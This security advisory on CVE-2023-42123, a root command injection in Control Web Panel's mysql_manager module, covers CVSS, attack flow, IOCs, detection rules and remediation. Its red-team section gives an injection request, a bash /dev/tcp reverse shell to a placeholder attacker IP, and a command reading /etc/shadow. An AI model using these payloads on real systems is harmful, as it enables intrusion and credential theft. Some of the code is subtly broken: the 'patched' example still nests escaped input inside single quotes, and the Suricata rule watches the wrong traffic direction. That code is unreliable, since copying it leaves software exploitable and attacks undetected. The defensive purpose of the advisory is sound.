CVE-2023-42123

Executive Summary

CVE-2023-42123 is a critical command injection vulnerability in the mysql_manager module of Control Web Panel (CWP), formerly known as CentOS Web Panel. This flaw allows an authenticated remote attacker to execute arbitrary operating system commands with root privileges. The vulnerability stems from improper validation of user-supplied input before it is used in a system call. With a CVSS score of 8.8, this vulnerability poses a severe risk to the confidentiality, integrity, and availability of affected systems. As of this report, no official patch has been released, and no public proof-of-concept code is available.

Supply Chain & Package Security

Control Web Panel is a widely used web hosting control panel for Linux servers. The mysql_manager module is a core component responsible for managing MySQL/MariaDB databases. This vulnerability is not related to any specific package manager (NPM, PyPI, Go, Ruby) but is a direct flaw in the CWP application itself. Organizations using CWP should treat this as a critical supply chain risk, as exploitation could lead to full server compromise.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): Low – An attacker needs valid credentials to access the CWP interface.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High – Full system read access is possible.
• Integrity (I): High – Full system write access is possible.
• Availability (A): High – Full system disruption is possible.

Threat Level: Critical. The combination of low attack complexity, network accessibility, and root-level code execution makes this a prime target for threat actors.

Deep Dive & Mechanics

The vulnerability resides in the mysql_manager module of Control Web Panel. This module is used to manage MySQL databases, users, and permissions. The specific flaw is a command injection vulnerability where user-supplied input is not properly sanitized before being passed to a system command.

Root Cause: The application uses a function like exec() or system() to execute MySQL-related commands. The input parameters (e.g., database name, username, or password) are concatenated directly into the command string without proper escaping or validation.

Example of vulnerable code (pseudocode):

$db_name = $_POST['db_name'];
$command = "mysqladmin -u root create $db_name";
system($command);

An attacker could inject arbitrary commands by providing input such as:

testdb; id

This would result in the execution of:

mysqladmin -u root create testdb; id

The id command would then be executed with root privileges, allowing the attacker to run any system command.

Attack Flow:

1. Authentication: The attacker must first authenticate to the CWP web interface (e.g., as a reseller or admin).
2. Access mysql_manager: The attacker navigates to the mysql_manager module.
3. Inject Payload: The attacker submits a crafted request with a malicious payload in one of the input fields.
4. Command Execution: The server executes the injected command with root privileges.
5. Post-Exploitation: The attacker can establish persistence, exfiltrate data, or pivot to other systems.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Direct concatenation of user input
$db_name = $_POST['db_name'];
$command = "mysql -e 'CREATE DATABASE $db_name'";
exec($command, $output, $return_var);

Patched Code (Conceptual):

// Patched: Use escapeshellarg() to sanitize input
$db_name = $_POST['db_name'];
$safe_db_name = escapeshellarg($db_name);
$command = "mysql -e 'CREATE DATABASE $safe_db_name'";
exec($command, $output, $return_var);

The patched version uses escapeshellarg() to properly escape the input, preventing command injection. Additionally, input validation (e.g., regex for allowed characters) should be implemented.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable instance of Control Web Panel (version unknown).
• Valid credentials for a CWP user with access to the mysql_manager module.

Exploitation Steps:

1. Login: Authenticate to the CWP web interface.
2. Navigate: Go to the mysql_manager module.
3. Craft Payload: Use a web proxy (e.g., Burp Suite) to intercept and modify the request. Inject a command in a parameter such as db_name, db_user, or db_pass.
4. Execute: Send the request and observe the output.

Example Payload (using Burp Suite):

POST /mysql_manager/index.php HTTP/1.1
Host: target.com
Cookie: PHPSESSID=valid_session

action=create_db&db_name=testdb;id

Expected Output: The id command output (e.g., uid=0(root) gid=0(root) groups=0(root)) will be returned in the response.

Post-Exploitation:

• Establish a reverse shell: db_name=testdb;bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'
• Exfiltrate sensitive data: db_name=testdb;cat /etc/shadow

Blue Team

Detection:

• Monitor for unusual command execution patterns in web server logs.
• Look for requests to /mysql_manager/index.php with suspicious parameters.
• Use the detection rules provided in the Detection Engineering section.

Hunting:

• Search for processes spawned by the web server user (e.g., apache, www-data) that execute unexpected commands.
• Review system logs for commands like id, whoami, cat /etc/passwd, or reverse shell attempts.

Containment:

• Immediately disable the mysql_manager module if possible.
• Restrict access to the CWP interface using firewall rules.
• Rotate all credentials and review user accounts for unauthorized access.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /mysql_manager/index.php with parameters containing shell metacharacters (;, |, &, $, `).
• Outbound connections to unknown IP addresses on common reverse shell ports (4444, 1337, 8080).

File System IOCs:

• Unexpected files in /tmp/ or /var/tmp/ (e.g., shell.php, exploit.sh).
• Modified system binaries or configuration files.

Process IOCs:

• Processes spawned by the web server user executing shell commands (e.g., bash, sh, python, perl).
• Unusual network connections from the web server process.

Log IOCs:

• Web server logs showing requests with command injection patterns.
• System logs (e.g., /var/log/messages, /var/log/secure) showing unexpected command execution.

Detection Engineering

YARA Rule

rule CVE_2023_42123_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2023-42123 in Control Web Panel"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-42123"
    strings:
        $s1 = "mysql_manager" nocase
        $s2 = "db_name=" nocase
        $s3 = "db_user=" nocase
        $s4 = "db_pass=" nocase
        $s5 = ";" nocase
        $s6 = "|" nocase
        $s7 = "`" nocase
        $s8 = "$(" nocase
    condition:
        all of ($s1, $s2, $s3, $s4) and 1 of ($s5, $s6, $s7, $s8)
}

Sigma Rule

title: CVE-2023-42123 Command Injection in Control Web Panel
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects command injection attempts in the mysql_manager module of Control Web Panel
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'mysql_manager/index.php'
        cs-uri-query|contains|all:
            - 'db_name='
            - ';'
    condition: selection
falsepositives:
    - Legitimate use of semicolons in database names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-42123 Command Injection in Control Web Panel"; flow:to_server,established; content:"POST"; http_method; content:"/mysql_manager/index.php"; http_uri; content:"db_name="; http_client_body; pcre:"/(;|\||\`|\$\().*$/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the mysql_manager module if it is not essential for operations.
2. Restrict access to the CWP web interface using IP whitelisting or VPN.
3. Monitor logs for signs of exploitation using the provided detection rules.

Long-Term Fixes:

• Apply patches as soon as they are released by the vendor.
• Implement input validation and sanitization for all user-supplied data.
• Use parameterized commands or prepared statements instead of string concatenation.
• Run the web server with the least privileges necessary (e.g., not as root).

Workarounds:

• If patching is not possible, consider using a web application firewall (WAF) to block malicious requests.
• Implement a custom script to monitor and block suspicious requests to the mysql_manager module.

Valters IT
Securing Your Digital Frontier